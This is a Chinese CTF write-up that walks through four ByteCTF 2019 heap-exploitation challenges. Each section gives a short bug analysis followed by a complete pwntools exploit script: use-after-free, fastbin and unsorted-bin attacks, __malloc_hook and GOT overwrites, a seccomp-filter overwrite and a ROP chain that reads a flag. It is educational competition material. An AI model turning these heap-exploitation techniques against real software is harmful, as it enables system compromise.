ByteCTF Pwn部分题解
2019-09-15 18:54:36 Author: bbs.pediy.com(查看原文) 阅读量:246 收藏

0x01 mulnote

漏洞点分析

初看程序,是一个经OLLVM混淆过的ELF,不过对我们做pwn没有太多的影响。用ida直接分析其主要函数,也是一个经典的堆菜单题目。含有增删改查四个功能。 图片描述 其中这个free函数free过后有10秒钟的延迟,这个导致了UAF。那么有UAF这道题就迎刃而解了。

利用

  1. Create一个大于0x80的chunk
  2. free掉就可以show leak libc
  3. fastbin attack修改__malloc_hook为one_gadget

exp

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = '112.126.101.96'
PORT = '9999'
binary = './mulnote'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    msg = """
        x/20xg 0x{:x}
    """.format(proc_base + 0x202020)
    pwnlib.gdb.attach(io,msg)
    # raw_input()

def create(sz,con):
    sla(">","C")
    sla(">",str(sz))
    sla(">",con)

def edit(idx,con):
    sla(">","E")
    sla(">",str(idx))
    sla(">",con)

def remove(idx):
    sla(">","R")
    sla(">",str(idx))

def show():
    sla(">","S")


def exploit():
    create(0x90,'a')
    remove(0)

    show()
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - 0x3c4b78
    __malloc_hook = base + libc.symbols['__malloc_hook']
    lg('base',base)

    create(0x90,'a')

    create(0x60,'a')
    create(0x60,'b')

    remove(2)
    remove(3)
    remove(2)

    one_gg = base + 0x4526a

    create(0x60,p64(__malloc_hook - 0x13))
    create(0x60,'junk')
    create(0x60,'junk')
    create(0x60,'a' * 3 + p64(one_gg))

    # debug()
    io.interactive()

if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

0x02 mheap

程序以及漏洞点分析

首先这个程序也是一个经典的堆题,分为增删改查4个功能。同其他堆题不一样的就是这个堆他不是真正意义上的堆,通过分析程序,它是通过mmap出一块内存出来之后,然后对这块内存进行管理,在bss有4个全局变量,分别是存放分配的size,mmap出来内存的地址,free掉堆块的链表的头部,正在使用中的堆块地址。malloc的时候首先会从free_list中查看是否存在一个堆块和我们想要申请的size一样的。如果一样就拿出来,不一样就遍历free_list,如果没有查找到,则从mmap内存切割,其实和top_chunk类似。然后free的话,直接将chunk放到free_top中去。edit,show函数没有什么好说的。其中堆块结构和glibc中的结构有点不一样的就是他的头部是存放的一个size和fd(类似fastbin)。那么其实分析到这里,按常规来说,没有发现什么漏洞,没有UAF。分配类似0x(8)这样块的大小,也不会占用下一块的头部。 图片描述有个这样的操作。那么其实这个漏洞点,是存在在自定义的read的中的。mmap出来的内存最大可以提供0x1000大小。然而它没有将总分配的size做比较,导致了我们可以分配到0x23330000 + 0x1000后面的内存,那么这里的内存是无效的。在read的时候就会出错,返回-1。 图片描述然后数据还存放在缓冲区中,此时v3的值会减小,下一次循环的时候读入数据会将缓冲区中的数据给read处理,然而有部分字节被处理了0x23330000后面的数据不能被处理,继续返回-1,v3继续变小,这样v3不断往前移动,最后移动到刚好覆盖chunk头部,fd写入bss地址,bss地址构造一个size。然后就可以分配到bss段上了,直接修改store_ptr的地方,修改为got表,leak and write即可Getshell。
图片描述。exp如下

exp

#coding:utf-8

from pwn import *
import argparse

IP = '47.112.139.218'
PORT = '13132'
binary = './mheap'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    msg = """
        x/80xg 0x23330000
        b *0x40121F
        b *0x401568
    """
    pwnlib.gdb.attach(io,msg)


def malloc(idx,sz,con):
    ru("choice")
    sl("1")
    ru("Index")
    sl(str(idx))
    ru("size")
    sl(str(sz))
    ru("Content")
    sd(con)

def show(idx):
    ru("choice")
    sl("2")
    ru("Index")
    sl(str(idx))

def free(idx):
    ru("choice")
    sl("3")
    ru("Index")
    sl(str(idx))

def edit(idx,con):
    ru("choice")
    sl("4")
    ru("Index")
    sl(str(idx))
    sleep(0.3)
    sd(con)

def exploit():
    malloc(0, 0xfc0, '/bin/sh\n')
    malloc(1, 0x10, '\0' * 0x10)
    free(1)

    malloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')

    malloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
    show(0)
    leak = u64(io.recvuntil('\n', drop=True)[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - libc.symbols['atoi']
    lg("base",base)
    edit(0, p64(base  + libc.symbols['system']) + '\n')
    io.sendline('/bin/sh\x00')

    io.interactive()

if __name__ == "__main__":
    exploit()
"""
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

0x03 vip

程序及漏洞点分析

同样也是一道堆题,题目环境是libc2.27,带tcache环境。
图片描述题目有5个选单。malloc只能分配0x50个字节的大小。free直接free掉,然后置0,不存在uaf。show也是普通的打印,比较不一样的就是edit功能和become vip功能。 图片描述edit功能首先判断全局变量,如果不为0,就读取标准输入到chunk上,不然读随机数到chunk上,这就是本程序的一个很大的限制,不能读取我们的输入到堆块上,也就是堆块内容不可控,当然这边也存在一个未校验size的漏洞。可以无限读取,那么本题其实主要首先会想如何修改这个全局变量的值,当然首先考虑unsorted bin attack,但是这里堆块内容不可控,这个攻击也无法实现,再来看看become vip函数吧。这里是输入一个name到栈上,然后对程序使用seccomp保护。这里可以使用seccomp-tools对其进行分析。 图片描述这里只允许四个系统调用,然而我们发现当我们become vip之后,也就是调用设置沙箱规则之后,edit的open("/dev/random")会返回-1,也就是打开失败,这里我们明明看到是open没有被限制,那么这里是什么原因造成的的呢? 图片描述这里就可以看出来了,openat被限制了。图片描述 图片描述那么这里输入的buf是存在溢出的,这里可以溢出30个字节,下面的其实就是沙箱的规则,这里的主要思路就是利用溢出修改啥箱规则,去让openat返回0。然后就可以正常读取输入了。https://github.com/david942j/seccomp-tools这是我使用的一个工具。

主要利用流程

1.1 malloc的size不可控,但是程序中存在scanf。利用scanf导致fastbin chunk合并进入small bin, leak libc 图片描述
1.2 第二种leak的话其实和第一种不一样,第一种情况是对于不能控制输入到堆块的内容的leak,这一种是首先让堆块内容可控,然后edit修改下一块size即可。也是leak main_arena。

  1. 由于关闭了openat,导致我们不能正常起shell,最后我们采用的方法是ROP读取flag。泄露栈地址,然后alloc to stack,然后ret2syscall。选用sys_open读取flag。
  1. 其实还有一种方法,就是让我们能正常起shell。也就是修改过滤规律,过滤openat syscall。rsi参数也就是/dev/urandom。只要rsi等于/dev/urandom。那么就让openat syscall调用失败。其他的都allow,这样我们可以正常修改堆块,也可以起shell。

exp

#coding:utf-8

from pwn import *
import argparse

context.binary = './vip'
IP = '112.126.103.14'
PORT = '9999'
binary = './vip'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sla = lambda x,y : io.sendlineafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x,drop=True)
ruf = lambda x : io.recvuntil(x)
uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    msg = """
        b *0x401411
        b *0x401547
        x/80xg 0x404100
        b *0x401515
        b *0x40151C
        b *0x4014F0
        b *0x4014eb
        x/8xg 0x4040E0
    """
    pwnlib.gdb.attach(io,msg)

def malloc(idx):
    sla("choice","1")
    sla("Index",str(idx))

def show(idx):
    sla("choice","2")
    sla("Index",str(idx))

def free(idx):
    sla("choice","3")
    sla("Index",str(idx))

def edit(idx,sz):
    sla("choice","4")
    sla("Index",str(idx))
    sla("Size",str(sz))

def edit_chunk(idx,sz,con):
    sla("choice","4")
    sla("Index",str(idx))
    sla("Size",str(sz))
    sd(con)

def vip(name):
    sla("choice","6")
    sa("name",name)

def ssl(con):
    sl(con)
    sleep(0.2)

def exploit2():
    malloc(0)

    buf = 0x20 * 'a'
    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
    # buf = "\x00\x00\x00\x00\x00\x00\x00\x00\xca\x20\x40\x00\x00\x00\x00\x00\xa0\x92\x0b\xc5\x4a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3e\x00\x00\xc0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00"
    buf = buf[:0x50]
    # debug()
    vip(buf)
    debug()
    io.interactive()


def exploit():
    [malloc(i) for i in range(0,16)]
    [free(i) for i in range(0,15)]

    [malloc(i) for i in range(0,7)]

    edit(15,"1" * 0x400)
    malloc(0)
    show(0)
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    base = leak - 0x3ebf90
    system = base + libc.symbols['system']
    __malloc_hook = base + libc.symbols['__malloc_hook']
    lg('base',base)
    __free_hook = base + libc.symbols['__free_hook']
    printf = base + libc.symbols['printf']

    # orig_rules = "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00\x01\x00\x3C\x00\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"
    buf = "a" * 0x20
    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"

    buf = buf[:0x50]

    vip(buf)

    free(5)
    free(2)
    edit_chunk(3,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['puts']))
    malloc(0)
    edit_chunk(0,0x10,'%p %p %p %p \x00')
    malloc(1)
    edit_chunk(1,0x10,p64(printf))
    show(0)
    ru("999 ")
    stack_addr = int(rud(" Done"),16)
    lg('stack_addr',stack_addr - 73)

    # alloc to stack
    free(3)
    edit_chunk(4,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 73))

    stack_payload = [
        0x00000000004018fb, # : pop rdi ; ret
        stack_addr - 73 + 0x100,
        0x00000000004018f9, # : pop rsi ; pop r15 ; ret
        0,
        0,
        base + 0x00000000000439c8, # : pop rax ; ret
        2, # sys_open
        base + 0x00000000000d2975, # : syscall ; ret

        0x00000000004018fb, # : pop rdi ; ret
        4,
        0x00000000004018f9, # : pop rsi ; pop r15 ; ret
        0x404800,
        0,
        base + 0x0000000000001b96, # : pop rdx ; ret
        0x100,
        elf.plt['read'],

        0x00000000004018fb, # : pop rdi ; ret
        0x404800,
        base + libc.symbols['puts'],
        0x00000000004018fb,
        0x0,
        elf.plt['exit'],
    ]
    """
        syscall   rdi --> "flag" rsi --> 0x0 rdx --> 0x0 rax --> syscall number
        read(fd,buf,0x100);
        puts(buf)
    """

    malloc(1) 
    malloc(2) # malloc to stack

    edit_chunk(2,0x400,flat(stack_payload).ljust(0x100,'\x00') + "flag\x00")
    # malloc(0)
    # malloc(1)
    # edit(0,0x50)

    io.interactive()


if __name__ == "__main__":
    try:
        exploit()
    except EOFError as e:
        io.close()
        print "error"
"""
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

0x04 note_five

程序及漏洞点分析

图片描述主要漏洞点就是off-by-one,由于限制了分配的大小,导致我们不能分配fastbin,这样fastbin attack攻击就无法实现。off-by-one威力还是挺大的,chunk overlap , chunk extend。

利用

  1. 利用unsorted bin attack修改global_max_fast。没有地址泄露,首先构造chunk overlap,修改chunk的size。然后利用残留的unsorted bin 双向指针,将bk部分覆盖为global_max_fast,然后将unsorted bin全部分配出来,这样fastbin的范围就变大了
  2. leak地址需要fastbin attack到stdout上面,然后部分修改_IO_Write_base。 图片描述 图片描述这里由于我们不能分配0x7f的chunk,那往上找一个\xff的size即可。
  3. 有了libc地址之后,用fastbin attack分配到malloc_hook,由于size不是0x7f,这里要二次写,首先往上拿一个0xff的头部,写一个0xff的size,再次攻击到这里就可以改写malloc_hook了。

    exp

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'
context.binary = './note_five'

IP = ''
PORT = ''
binary = './note_five'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    msg = """
        x/10xg 0x{:x}
    """.format(proc_base + 0x202080)
    pwnlib.gdb.attach(io,msg)
    # raw_input()

def new(idx,sz):
    sla(">","1")
    sla("idx",str(idx))
    sla("size",str(sz))

def edit(idx,con):
    sla(">","2")
    sla("idx",str(idx))
    sla("content",con)

def free(idx):
    sla(">","3")
    sla("idx",str(idx))

def exploit():
    new(0, 0x98)
    new(1, 0x98)
    new(2, 0x98)
    new(3, 0x98)

    free(0) # unsorted bin
    edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0)) 
    free(2)

    new(0, 0xe8)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10)) # change fd bk
    new(4, 0xe8) 

    free(4)
    edit(1,'a' * 0x40 + flat(0x0,0xf1) + "\xcf\x25")
    new(4,0xe8)
    new(0,0xe8)
    edit(0,'\x00' * 0x41 + p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00') #0xfbad1800
    stdout = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('stdout',stdout)
    base = stdout - 0x3c5600
    lg('base',base)

    free(4)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 143))

    new(4, 0xe8)
    new(0, 0xe8)

    edit(0, '\0' * 0xe1 + p32(0xf1) )
    free(4)
    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 376))
    new(4, 0xe8)
    new(0, 0xe8)

    edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13))

    new(0, 0xe8)
    io.interactive() 


if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

总结

感谢ex师傅的指导

[挑战]看雪.纽盾 KCTF 2019晋级赛Q3攻击方进行中……,华为P30 Pro、iPad、kindle等你来拿!

最后于 5天前 被ChenSem编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-254367.htm
如有侵权请联系:admin#unsafe.sh